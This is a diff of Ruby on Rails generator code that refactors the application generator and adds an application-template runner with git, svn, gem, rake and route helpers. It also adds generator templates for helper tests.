 require 'rbconfig'
+require File.dirname(__FILE__) + '/template_runner'
 require 'digest/md5' 
 require 'active_support/secure_random'
 
 class AppGenerator < Rails::Generator::Base
-  DEFAULT_SHEBANG = File.join(Config::CONFIG['bindir'],
-                              Config::CONFIG['ruby_install_name'])
+  DEFAULT_SHEBANG = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name'])
 
-  DATABASES = %w(mysql oracle postgresql sqlite2 sqlite3 frontbase ibm_db)
+  DATABASES        = %w( mysql oracle postgresql sqlite2 sqlite3 frontbase ibm_db )
   DEFAULT_DATABASE = 'sqlite3'
 
-  default_options   :db => (ENV["RAILS_DEFAULT_DATABASE"] || DEFAULT_DATABASE),
-    :shebang => DEFAULT_SHEBANG, :freeze => false
   mandatory_options :source => "#{File.dirname(__FILE__)}/../../../../.."
+  default_options   :db => (ENV["RAILS_DEFAULT_DATABASE"] || DEFAULT_DATABASE),
+    :shebang => DEFAULT_SHEBANG, :with_dispatchers => false, :freeze => false
+
 
   def initialize(runtime_args, runtime_options = {})
     super
+
     usage if args.empty?
     usage("Databases supported for preconfiguration are: #{DATABASES.join(", ")}") if (options[:db] && !DATABASES.include?(options[:db]))
+
     @destination_root = args.shift
     @app_name = File.basename(File.expand_path(@destination_root))
   end
 
   def manifest
-    # Use /usr/bin/env if no special shebang was specified
-    script_options     = { :chmod => 0755, :shebang => options[:shebang] == DEFAULT_SHEBANG ? nil : options[:shebang] }
-    dispatcher_options = { :chmod => 0755, :shebang => options[:shebang] }
-
-    # duplicate CGI::Session#generate_unique_id
-    md5 = Digest::MD5.new
-    now = Time.now
-    md5 << now.to_s
-    md5 << String(now.usec)
-    md5 << String(rand(0))
-    md5 << String($$)
-    md5 << @app_name
-
-    # Do our best to generate a secure secret key for CookieStore
-    secret = ActiveSupport::SecureRandom.hex(64)
-
     record do |m|
-      # Root directory and all subdirectories.
-      m.directory ''
-      BASEDIRS.each { |path| m.directory path }
+      create_directories(m)
+      create_root_files(m)
+      create_app_files(m)
+      create_config_files(m)
+      create_script_files(m)
+      create_test_files(m)
+      create_public_files(m)
+      create_documentation_file(m)
+      create_log_files(m)
+    end
+  end
 
-      # Root
-      m.file "fresh_rakefile", "Rakefile"
-      m.file "README",         "README"
-
-      # Application
-      m.template "helpers/application.rb",        "app/controllers/application.rb", :assigns => { :app_name => @app_name, :app_secret => md5.hexdigest }
-      m.template "helpers/application_helper.rb", "app/helpers/application_helper.rb"
-      m.template "helpers/test_helper.rb",        "test/test_helper.rb"
-      m.template "helpers/performance_test.rb",   "test/performance/browsing_test.rb"
-
-      # database.yml and routes.rb
-      m.template "configs/databases/#{options[:db]}.yml", "config/database.yml", :assigns => {
-        :app_name => @app_name,
-        :socket   => options[:db] == "mysql" ? mysql_socket_location : nil
-      }
-      m.template "configs/routes.rb", "config/routes.rb"
-
-      # Initializers
-      m.template "configs/initializers/inflections.rb", "config/initializers/inflections.rb"
-      m.template "configs/initializers/mime_types.rb", "config/initializers/mime_types.rb"
-      m.template "configs/initializers/new_rails_defaults.rb", "config/initializers/new_rails_defaults.rb"
-
-      # Locale
-      m.template "configs/locales/en.yml", "config/locales/en.yml"
-
-      # Environments
-      m.file "environments/boot.rb",    "config/boot.rb"
-      m.template "environments/environment.rb", "config/environment.rb", :assigns => { :freeze => options[:freeze], :app_name => @app_name, :app_secret => secret }
-      m.file "environments/production.rb",  "config/environments/production.rb"
-      m.file "environments/development.rb", "config/environments/development.rb"
-      m.file "environments/test.rb",        "config/environments/test.rb"
-
-      # Scripts
-      %w( about console dbconsole destroy generate performance/benchmarker performance/profiler performance/request process/reaper process/spawner process/inspector runner server plugin ).each do |file|
-        m.file "bin/#{file}", "script/#{file}", script_options
-      end
-
-      # Dispatches
-      m.file "dispatches/dispatch.rb",   "public/dispatch.rb", dispatcher_options
-      m.file "dispatches/dispatch.rb",   "public/dispatch.cgi", dispatcher_options
-      m.file "dispatches/dispatch.fcgi", "public/dispatch.fcgi", dispatcher_options
-
-      # HTML files
-      %w(404 422 500 index).each do |file|
-        m.template "html/#{file}.html", "public/#{file}.html"
-      end
-
-      m.template "html/favicon.ico",  "public/favicon.ico"
-      m.template "html/robots.txt",   "public/robots.txt"
-      m.file "html/images/rails.png", "public/images/rails.png"
-
-      # Javascripts
-      m.file "html/javascripts/prototype.js",    "public/javascripts/prototype.js"
-      m.file "html/javascripts/effects.js",      "public/javascripts/effects.js"
-      m.file "html/javascripts/dragdrop.js",     "public/javascripts/dragdrop.js"
-      m.file "html/javascripts/controls.js",     "public/javascripts/controls.js"
-      m.file "html/javascripts/application.js",  "public/javascripts/application.js"
-
-      # Docs
-      m.file "doc/README_FOR_APP", "doc/README_FOR_APP"
-
-      # Logs
-      %w(server production development test).each { |file|
-        m.file "configs/empty.log", "log/#{file}.log", :chmod => 0666
-      }
+  def after_generate
+    if options[:template]
+      Rails::TemplateRunner.new(options[:template], @destination_root)
     end
   end
 
@@ -127,58 +60,204 @@ class AppGenerator < Rails::Generator::Base
             "Preconfigure for selected database (options: #{DATABASES.join('/')}).",
             "Default: #{DEFAULT_DATABASE}") { |v| options[:db] = v }
 
+      opt.on("-D", "--with-dispatchers",
+            "Add CGI/FastCGI/mod_ruby dispatches code to generated application skeleton",
+            "Default: false") { |v| options[:with_dispatchers] = v }
+
       opt.on("-f", "--freeze",
             "Freeze Rails in vendor/rails from the gems generating the skeleton",
             "Default: false") { |v| options[:freeze] = v }
+
+      opt.on("-m", "--template=path", String,
+            "Use an application template that lives at path (can be a filesystem path or URL).",
+            "Default: (none)") { |v| options[:template] = v }
+
     end
 
+
+  private
+    def create_directories(m)
+      m.directory ''
+
+      # Intermediate directories are automatically created so don't sweat their absence here.
+      %w(
+        app/controllers
+        app/helpers
+        app/models
+        app/views/layouts
+        config/environments
+        config/initializers
+        config/locales
+        db
+        doc
+        lib
+        lib/tasks
+        log
+        public/images
+        public/javascripts
+        public/stylesheets
+        script/performance
+        test/fixtures
+        test/functional
+        test/integration
+        test/performance
+        test/unit
+        vendor
+        vendor/plugins
+        tmp/sessions
+        tmp/sockets
+        tmp/cache
+        tmp/pids
+      ).each { |path| m.directory(path) }
+    end
+    
+    def create_root_files(m)
+      m.file "fresh_rakefile", "Rakefile"
+      m.file "README",         "README"
+    end
+    
+    def create_app_files(m)
+      m.file "helpers/application_controller.rb", "app/controllers/application_controller.rb"
+      m.file "helpers/application_helper.rb",     "app/helpers/application_helper.rb"
+    end
+
+    def create_config_files(m)
+      create_database_configuration_file(m)
+      create_routes_file(m)
+      create_locale_file(m)
+      create_seeds_file(m)
+      create_initializer_files(m)
+      create_environment_files(m)
+    end
+
+    def create_documentation_file(m)
+      m.file "doc/README_FOR_APP", "doc/README_FOR_APP"
+    end
+
+    def create_log_files(m)
+      %w( server production development test ).each do |file|
+        m.file "configs/empty.log", "log/#{file}.log", :chmod => 0666
+      end
+    end    
+
+    def create_public_files(m)
+      create_dispatch_files(m)
+      create_error_files(m)
+      create_welcome_file(m)
+      create_browser_convention_files(m)
+      create_rails_image(m)
+      create_javascript_files(m)
+    end
+    
+    def create_script_files(m)
+      %w( 
+        about console dbconsole destroy generate runner server plugin
+        performance/benchmarker performance/profiler
+      ).each do |file|
+        m.file "bin/#{file}", "script/#{file}", { 
+          :chmod => 0755, 
+          :shebang => options[:shebang] == DEFAULT_SHEBANG ? nil : options[:shebang]
+        }
+      end
+    end
+
+    def create_test_files(m)
+      m.file "helpers/test_helper.rb",      "test/test_helper.rb"
+      m.file "helpers/performance_test.rb", "test/performance/browsing_test.rb"
+    end
+
+
+    def create_database_configuration_file(m)
+      m.template "configs/databases/#{options[:db]}.yml", "config/database.yml", :assigns => {
+        :app_name => @app_name,
+        :socket   => options[:db] == "mysql" ? mysql_socket_location : nil }
+    end
+    
+    def create_routes_file(m)
+      m.file "configs/routes.rb", "config/routes.rb"
+    end
+
+    def create_seeds_file(m)
+      m.file "configs/seeds.rb", "db/seeds.rb"
+    end
+
+    def create_initializer_files(m)
+      %w( 
+        backtrace_silencers 
+        inflections 
+        mime_types 
+        new_rails_defaults
+      ).each do |initializer|
+        m.file "configs/initializers/#{initializer}.rb", "config/initializers/#{initializer}.rb"
+      end
+
+      m.template "configs/initializers/session_store.rb", "config/initializers/session_store.rb", 
+        :assigns => { :app_name => @app_name, :app_secret => ActiveSupport::SecureRandom.hex(64) }
+    end
+
+    def create_locale_file(m)
+      m.file "configs/locales/en.yml", "config/locales/en.yml"
+    end
+
+    def create_environment_files(m)
+      m.template "environments/environment.rb", "config/environment.rb", 
+        :assigns => { :freeze => options[:freeze] }
+
+      m.file "environments/boot.rb",        "config/boot.rb"
+      m.file "environments/production.rb",  "config/environments/production.rb"
+      m.file "environments/development.rb", "config/environments/development.rb"
+      m.file "environments/test.rb",        "config/environments/test.rb"
+    end
+
+
+    def create_dispatch_files(m)
+      if options[:with_dispatchers]
+        dispatcher_options = { :chmod => 0755, :shebang => options[:shebang] }
+
+        m.file "dispatches/config.ru",     "config.ru"
+        m.file "dispatches/dispatch.rb",   "public/dispatch.rb",   dispatcher_options
+        m.file "dispatches/dispatch.rb",   "public/dispatch.cgi",  dispatcher_options
+        m.file "dispatches/dispatch.fcgi", "public/dispatch.fcgi", dispatcher_options
+      end
+    end
+
+    def create_error_files(m)
+      %w( 404 422 500  ).each do |file|
+        m.file "html/#{file}.html", "public/#{file}.html"
+      end
+    end
+
+    def create_welcome_file(m)
+      m.file 'html/index.html', 'public/index.html'
+    end
+
+    def create_browser_convention_files(m)
+      m.file "html/favicon.ico", "public/favicon.ico"
+      m.file "html/robots.txt",  "public/robots.txt"
+    end
+
+    def create_rails_image(m)
+      m.file "html/images/rails.png", "public/images/rails.png"
+    end
+
+    def create_javascript_files(m)
+      %w( prototype effects dragdrop controls application ).each do |javascript|
+        m.file "html/javascripts/#{javascript}.js", "public/javascripts/#{javascript}.js"
+      end
+    end
+
+
     def mysql_socket_location
-      MYSQL_SOCKET_LOCATIONS.find { |f| File.exist?(f) } unless RUBY_PLATFORM =~ /(:?mswin|mingw)/
+      [
+        "/tmp/mysql.sock",                        # default
+        "/var/run/mysqld/mysqld.sock",            # debian/gentoo
+        "/var/tmp/mysql.sock",                    # freebsd
+        "/var/lib/mysql/mysql.sock",              # fedora
+        "/opt/local/lib/mysql/mysql.sock",        # fedora
+        "/opt/local/var/run/mysqld/mysqld.sock",  # mac + darwinports + mysql
+        "/opt/local/var/run/mysql4/mysqld.sock",  # mac + darwinports + mysql4
+        "/opt/local/var/run/mysql5/mysqld.sock",  # mac + darwinports + mysql5
+        "/opt/lampp/var/mysql/mysql.sock"         # xampp for linux
+      ].find { |f| File.exist?(f) } unless RUBY_PLATFORM =~ /(:?mswin|mingw)/
     end
-
-
-  # Installation skeleton.  Intermediate directories are automatically
-  # created so don't sweat their absence here.
-  BASEDIRS = %w(
-    app/controllers
-    app/helpers
-    app/models
-    app/views/layouts
-    config/environments
-    config/initializers
-    config/locales
-    db
-    doc
-    lib
-    lib/tasks
-    log
-    public/images
-    public/javascripts
-    public/stylesheets
-    script/performance
-    script/process
-    test/fixtures
-    test/functional
-    test/integration
-    test/performance
-    test/unit
-    vendor
-    vendor/plugins
-    tmp/sessions
-    tmp/sockets
-    tmp/cache
-    tmp/pids
-  )
-
-  MYSQL_SOCKET_LOCATIONS = [
-    "/tmp/mysql.sock",                        # default
-    "/var/run/mysqld/mysqld.sock",            # debian/gentoo
-    "/var/tmp/mysql.sock",                    # freebsd
-    "/var/lib/mysql/mysql.sock",              # fedora
-    "/opt/local/lib/mysql/mysql.sock",        # fedora
-    "/opt/local/var/run/mysqld/mysqld.sock",  # mac + darwinports + mysql
-    "/opt/local/var/run/mysql4/mysqld.sock",  # mac + darwinports + mysql4
-    "/opt/local/var/run/mysql5/mysqld.sock",  # mac + darwinports + mysql5
-    "/opt/lampp/var/mysql/mysql.sock"         # xampp for linux
-  ]
-end
+end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb
new file mode 100644
index 00000000..a53494de
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb
@@ -0,0 +1,18 @@
+STDOUT.sync = true
+
+module Rails
+  class Git < Scm
+    def self.clone(repos, branch=nil)
+      system "git clone #{repos}"
+
+      if branch
+        system "cd #{repos.split('/').last}/"
+        system "git checkout #{branch}"
+      end
+    end
+
+    def self.run(command)
+      system "git #{command}"
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb
new file mode 100644
index 00000000..f6c08cad
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb
@@ -0,0 +1,8 @@
+module Rails
+  class Scm
+    private
+      def self.hash_to_parameters(hash)
+        hash.collect { |key, value| "--#{key} #{(value.kind_of?(String) ? value : "")}"}.join(" ")
+      end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb
new file mode 100644
index 00000000..22b5966d
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb
@@ -0,0 +1,7 @@
+module Rails
+  class Svn < Scm
+    def self.checkout(repos, branch = nil)
+      `svn checkout #{repos}/#{branch || "trunk"}`
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb
new file mode 100644
index 00000000..40f21cc4
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb
@@ -0,0 +1,401 @@
+require File.dirname(__FILE__) + '/scm/scm'
+require File.dirname(__FILE__) + '/scm/git'
+require File.dirname(__FILE__) + '/scm/svn'
+
+require 'open-uri'
+require 'fileutils'
+
+module Rails
+  class TemplateRunner
+    attr_reader :root
+    attr_writer :logger
+
+    def initialize(template, root = '') # :nodoc:
+      @root = File.expand_path(File.directory?(root) ? root : File.join(Dir.pwd, root))
+
+      log 'applying', "template: #{template}"
+
+      load_template(template)
+
+      log 'applied', "#{template}"
+    end
+
+    def load_template(template)
+      begin
+        code = open(template).read
+        in_root { self.instance_eval(code) }
+      rescue LoadError, Errno::ENOENT => e
+        raise "The template [#{template}] could not be loaded. Error: #{e}"
+      end
+    end
+
+    # Create a new file in the Rails project folder.  Specify the
+    # relative path from RAILS_ROOT.  Data is the return value of a block
+    # or a data string.
+    #
+    # ==== Examples
+    #
+    #   file("lib/fun_party.rb") do
+    #     hostname = ask("What is the virtual hostname I should use?")
+    #     "vhost.name = #{hostname}"
+    #   end
+    #
+    #   file("config/apach.conf", "your apache config")
+    #
+    def file(filename, data = nil, log_action = true, &block)
+      log 'file', filename if log_action
+      dir, file = [File.dirname(filename), File.basename(filename)]
+
+      inside(dir) do
+        File.open(file, "w") do |f|
+          if block_given?
+            f.write(block.call)
+          else
+            f.write(data)
+          end
+        end
+      end
+    end
+
+    # Install a plugin.  You must provide either a Subversion url or Git url.
+    # For a Git-hosted plugin, you can specify if it should be added as a submodule instead of cloned.
+    #
+    # ==== Examples
+    #
+    #   plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git'
+    #   plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git', :submodule => true
+    #   plugin 'restful-authentication', :svn => 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
+    #
+    def plugin(name, options)
+      log 'plugin', name
+
+      if options[:git] && options[:submodule]
+        in_root do
+          Git.run("submodule add #{options[:git]} vendor/plugins/#{name}")
+        end
+      elsif options[:git] || options[:svn]
+        in_root do
+          run_ruby_script("script/plugin install #{options[:svn] || options[:git]}", false)
+        end
+      else
+        log "! no git or svn provided for #{name}.  skipping..."
+      end
+    end
+
+    # Adds an entry into config/environment.rb for the supplied gem :
+    def gem(name, options = {})
+      log 'gem', name
+      env = options.delete(:env)
+
+      gems_code = "config.gem '#{name}'"
+
+      if options.any?
+        opts = options.inject([]) {|result, h| result << [":#{h[0]} => #{h[1].inspect.gsub('"',"'")}"] }.sort.join(", ")
+        gems_code << ", #{opts}"
+      end
+
+      environment gems_code, :env => env
+    end
+
+    # Adds a line inside the Initializer block for config/environment.rb. Used by #gem
+    # If options :env is specified, the line is appended to the corresponding
+    # file in config/environments/#{env}.rb
+    def environment(data = nil, options = {}, &block)
+      sentinel = 'Rails::Initializer.run do |config|'
+
+      data = block.call if !data && block_given?
+
+      in_root do
+        if options[:env].nil?
+          gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
+            "#{match}\n  " << data
+          end
+        else
+          Array.wrap(options[:env]).each do|env|
+            append_file "config/environments/#{env}.rb", "\n#{data}"
+          end
+        end
+      end
+    end
+
+    # Run a command in git.
+    #
+    # ==== Examples
+    #
+    #   git :init
+    #   git :add => "this.file that.rb"
+    #   git :add => "onefile.rb", :rm => "badfile.cxx"
+    #
+    def git(command = {})
+      in_root do
+        if command.is_a?(Symbol)
+          log 'running', "git #{command}"
+          Git.run(command.to_s)
+        else
+          command.each do |command, options|
+            log 'running', "git #{command} #{options}"
+            Git.run("#{command} #{options}")
+          end
+        end
+      end
+    end
+
+    # Create a new file in the vendor/ directory. Code can be specified
+    # in a block or a data string can be given.
+    #
+    # ==== Examples
+    #
+    #   vendor("sekrit.rb") do
+    #     sekrit_salt = "#{Time.now}--#{3.years.ago}--#{rand}--"
+    #     "salt = '#{sekrit_salt}'"
+    #   end
+    #
+    #   vendor("foreign.rb", "# Foreign code is fun")
+    #
+    def vendor(filename, data = nil, &block)
+      log 'vendoring', filename
+      file("vendor/#{filename}", data, false, &block)
+    end
+
+    # Create a new file in the lib/ directory. Code can be specified
+    # in a block or a data string can be given.
+    #
+    # ==== Examples
+    #
+    #   lib("crypto.rb") do
+    #     "crypted_special_value = '#{rand}--#{Time.now}--#{rand(1337)}--'"
+    #   end
+    #
+    #   lib("foreign.rb", "# Foreign code is fun")
+    #
+    def lib(filename, data = nil, &block)
+      log 'lib', filename
+      file("lib/#{filename}", data, false, &block)
+    end
+
+    # Create a new Rakefile with the provided code (either in a block or a string).
+    #
+    # ==== Examples
+    #
+    #   rakefile("bootstrap.rake") do
+    #     project = ask("What is the UNIX name of your project?")
+    #
+    #     <<-TASK
+    #       namespace :#{project} do
+    #         task :bootstrap do
+    #           puts "i like boots!"
+    #         end
+    #       end
+    #     TASK
+    #   end
+    #
+    #   rakefile("seed.rake", "puts 'im plantin ur seedz'")
+    #
+    def rakefile(filename, data = nil, &block)
+      log 'rakefile', filename
+      file("lib/tasks/#{filename}", data, false, &block)
+    end
+
+    # Create a new initializer with the provided code (either in a block or a string).
+    #
+    # ==== Examples
+    #
+    #   initializer("globals.rb") do
+    #     data = ""
+    #
+    #     ['MY_WORK', 'ADMINS', 'BEST_COMPANY_EVAR'].each do
+    #       data << "#{const} = :entp"
+    #     end
+    #
+    #     data
+    #   end
+    #
+    #   initializer("api.rb", "API_KEY = '123456'")
+    #
+    def initializer(filename, data = nil, &block)
+      log 'initializer', filename
+      file("config/initializers/#{filename}", data, false, &block)
+    end
+
+    # Generate something using a generator from Rails or a plugin.
+    # The second parameter is the argument string that is passed to
+    # the generator or an Array that is joined.
+    #
+    # ==== Example
+    #
+    #   generate(:authenticated, "user session")
+    #
+    def generate(what, *args)
+      log 'generating', what
+      argument = args.map(&:to_s).flatten.join(" ")
+
+      in_root { run_ruby_script("script/generate #{what} #{argument}", false) }
+    end
+
+    # Executes a command
+    #
+    # ==== Example
+    #
+    #   inside('vendor') do
+    #     run('ln -s ~/edge rails')
+    #   end
+    #
+    def run(command, log_action = true)
+      log 'executing',  "#{command} from #{Dir.pwd}" if log_action
+      `#{command}`
+    end
+
+    # Executes a ruby script (taking into account WIN32 platform quirks)
+    def run_ruby_script(command, log_action = true)
+      ruby_command = RUBY_PLATFORM=~ /win32/ ? 'ruby ' : ''
+      run("#{ruby_command}#{command}", log_action)
+    end
+
+    # Runs the supplied rake task
+    #
+    # ==== Example
+    #
+    #   rake("db:migrate")
+    #   rake("db:migrate", :env => "production")
+    #   rake("gems:install", :sudo => true)
+    #
+    def rake(command, options = {})
+      log 'rake', command
+      env = options[:env] || 'development'
+      sudo = options[:sudo] ? 'sudo ' : ''
+      in_root { run("#{sudo}rake #{command} RAILS_ENV=#{env}", false) }
+    end
+
+    # Just run the capify command in root
+    #
+    # ==== Example
+    #
+    #   capify!
+    #
+    def capify!
+      log 'capifying'
+      in_root { run('capify .', false) }
+    end
+
+    # Add Rails to /vendor/rails
+    #
+    # ==== Example
+    #
+    #   freeze!
+    #
+    def freeze!(args = {})
+      log 'vendor', 'rails edge'
+      in_root { run('rake rails:freeze:edge', false) }
+    end
+
+    # Make an entry in Rails routing file conifg/routes.rb
+    #
+    # === Example
+    #
+    #   route "map.root :controller => :welcome"
+    #
+    def route(routing_code)
+      log 'route', routing_code
+      sentinel = 'ActionController::Routing::Routes.draw do |map|'
+
+      in_root do
+        gsub_file 'config/routes.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
+          "#{match}\n  #{routing_code}\n"
+        end
+      end
+    end
+
+    protected
+
+    # Get a user's input
+    #
+    # ==== Example
+    #
+    #   answer = ask("Should I freeze the latest Rails?")
+    #   freeze! if ask("Should I freeze the latest Rails?") == "yes"
+    #
+    def ask(string)
+      log '', string
+      STDIN.gets.strip
+    end
+
+    # Do something in the root of the Rails application or
+    # a provided subfolder; the full path is yielded to the block you provide.
+    # The path is set back to the previous path when the method exits.
+    def inside(dir = '', &block)
+      folder = File.join(root, dir)
+      FileUtils.mkdir_p(folder) unless File.exist?(folder)
+      FileUtils.cd(folder) { block.arity == 1 ? yield(folder) : yield }
+    end
+
+    def in_root
+      FileUtils.cd(root) { yield }
+    end
+
+    # Helper to test if the user says yes(y)?
+    #
+    # ==== Example
+    #
+    #   freeze! if yes?("Should I freeze the latest Rails?")
+    #
+    def yes?(question)
+      answer = ask(question).downcase
+      answer == "y" || answer == "yes"
+    end
+
+    # Helper to test if the user does NOT say yes(y)?
+    #
+    # ==== Example
+    #
+    #   capify! if no?("Will you be using vlad to deploy your application?")
+    #
+    def no?(question)
+      !yes?(question)
+    end
+
+    # Run a regular expression replacement on a file
+    #
+    # ==== Example
+    #
+    #   gsub_file 'app/controllers/application_controller.rb', /#\s*(filter_parameter_logging :password)/, '\1'
+    #
+    def gsub_file(relative_destination, regexp, *args, &block)
+      path = destination_path(relative_destination)
+      content = File.read(path).gsub(regexp, *args, &block)
+      File.open(path, 'wb') { |file| file.write(content) }
+    end
+
+    # Append text to a file
+    #
+    # ==== Example
+    #
+    #   append_file 'config/environments/test.rb', 'config.gem "rspec"'
+    #
+    def append_file(relative_destination, data)
+      path = destination_path(relative_destination)
+      File.open(path, 'ab') { |file| file.write(data) }
+    end
+
+    def destination_path(relative_destination)
+      File.join(root, relative_destination)
+    end
+
+    def log(action, message = '')
+      logger.log(action, message)
+    end
+
+    def logger
+      @logger ||= Rails::Generator::Base.logger
+    end
+
+    def logger
+      @logger ||= if defined?(Rails::Generator::Base)
+        Rails::Generator::Base.logger
+      else
+        require 'rails_generator/simple_logger'
+        Rails::Generator::SimpleLogger.new(STDOUT)
+      end
+    end
+
+  end
+end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE
index d4fae60c..362872e8 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE
@@ -6,24 +6,25 @@ Description:
     path like 'parent_module/controller_name'.
 
     This generates a controller class in app/controllers, view templates in
-    app/views/controller_name, a helper class in app/helpers, and a functional
-    test suite in test/functional.
+    app/views/controller_name, a helper class in app/helpers, a functional
+    test suite in test/functional and a helper test suite in test/unit/helpers.
 
 Example:
     `./script/generate controller CreditCard open debit credit close`
 
     Credit card controller with URLs like /credit_card/debit.
-        Controller: app/controllers/credit_card_controller.rb
-        Views:      app/views/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/credit_card_helper.rb
-        Test:       test/functional/credit_card_controller_test.rb
+        Controller:      app/controllers/credit_card_controller.rb
+        Functional Test: test/functional/credit_card_controller_test.rb
+        Views:           app/views/credit_card/debit.html.erb [...]
+        Helper:          app/helpers/credit_card_helper.rb
+        Helper Test:     test/unit/helpers/credit_card_helper_test.rb
 
 Modules Example:
     `./script/generate controller 'admin/credit_card' suspend late_fee`
 
     Credit card admin controller with URLs /admin/credit_card/suspend.
-        Controller: app/controllers/admin/credit_card_controller.rb
-        Views:      app/views/admin/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/admin/credit_card_helper.rb
-        Test:       test/functional/admin/credit_card_controller_test.rb
-
+        Controller:      app/controllers/admin/credit_card_controller.rb
+        Functional Test: test/functional/admin/credit_card_controller_test.rb
+        Views:           app/views/admin/credit_card/debit.html.erb [...]
+        Helper:          app/helpers/admin/credit_card_helper.rb
+        Helper Test:     test/unit/helpers/admin/credit_card_helper_test.rb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb
index 77b2220d..dc126e8a 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb
@@ -2,13 +2,14 @@ class ControllerGenerator < Rails::Generator::NamedBase
   def manifest
     record do |m|
       # Check for class naming collisions.
-      m.class_collisions "#{class_name}Controller", "#{class_name}ControllerTest", "#{class_name}Helper"
+      m.class_collisions "#{class_name}Controller", "#{class_name}ControllerTest", "#{class_name}Helper", "#{class_name}HelperTest"
 
       # Controller, helper, views, and test directories.
       m.directory File.join('app/controllers', class_path)
       m.directory File.join('app/helpers', class_path)
       m.directory File.join('app/views', class_path, file_name)
       m.directory File.join('test/functional', class_path)
+      m.directory File.join('test/unit/helpers', class_path)
 
       # Controller class, functional test, and helper class.
       m.template 'controller.rb',
@@ -26,6 +27,11 @@ class ControllerGenerator < Rails::Generator::NamedBase
                             class_path,
                             "#{file_name}_helper.rb")
 
+      m.template 'helper_test.rb',
+                  File.join('test/unit/helpers',
+                            class_path,
+                            "#{file_name}_helper_test.rb")
+
       # View template for each action.
       actions.each do |action|
         path = File.join('app/views', class_path, file_name, "#{action}.html.erb")
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb
new file mode 100644
index 00000000..591e4090
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class <%= class_name %>HelperTest < ActionView::TestCase
+end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE
new file mode 100644
index 00000000..ef27ca61
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE
@@ -0,0 +1,24 @@
+Description:
+    Stubs out a new helper. Pass the helper name, either
+    CamelCased or under_scored.
+
+    To create a helper within a module, specify the helper name as a
+    path like 'parent_module/helper_name'.
+
+    This generates a helper class in app/helpers and a helper test
+    suite in test/unit/helpers.
+
+Example:
+    `./script/generate helper CreditCard`
+
+    Credit card helper.
+        Helper:     app/helpers/credit_card_helper.rb
+        Test:       test/unit/helpers/credit_card_helper_test.rb
+
+Modules Example:
+    `./script/generate helper 'admin/credit_card'`
+
+    Credit card admin helper.
+        Helper:     app/helpers/admin/credit_card_helper.rb
+        Test:       test/unit/helpers/admin/credit_card_helper_test.rb
+
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb
new file mode 100644
index 00000000..f7831f7c
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb
@@ -0,0 +1,25 @@
+class HelperGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions class_path, "#{class_name}Helper", "#{class_name}HelperTest"
+
+      # Helper and helper test directories.
+      m.directory File.join('app/helpers', class_path)
+      m.directory File.join('test/unit/helpers', class_path)
+
+      # Helper and helper test class.
+
+      m.template 'helper.rb',
+                  File.join('app/helpers',
+                            class_path,
+                            "#{file_name}_helper.rb")
+
+      m.template 'helper_test.rb',
+                  File.join('test/unit/helpers',
+                            class_path,
+                            "#{file_name}_helper_test.rb")
+
+    end
+  end
+end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb
new file mode 100644
index 00000000..3fe2ecdc
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb
@@ -0,0 +1,2 @@
+module <%= class_name %>Helper
+end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb
new file mode 100644
index 00000000..591e4090
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class <%= class_name %>HelperTest < ActionView::TestCase
+end
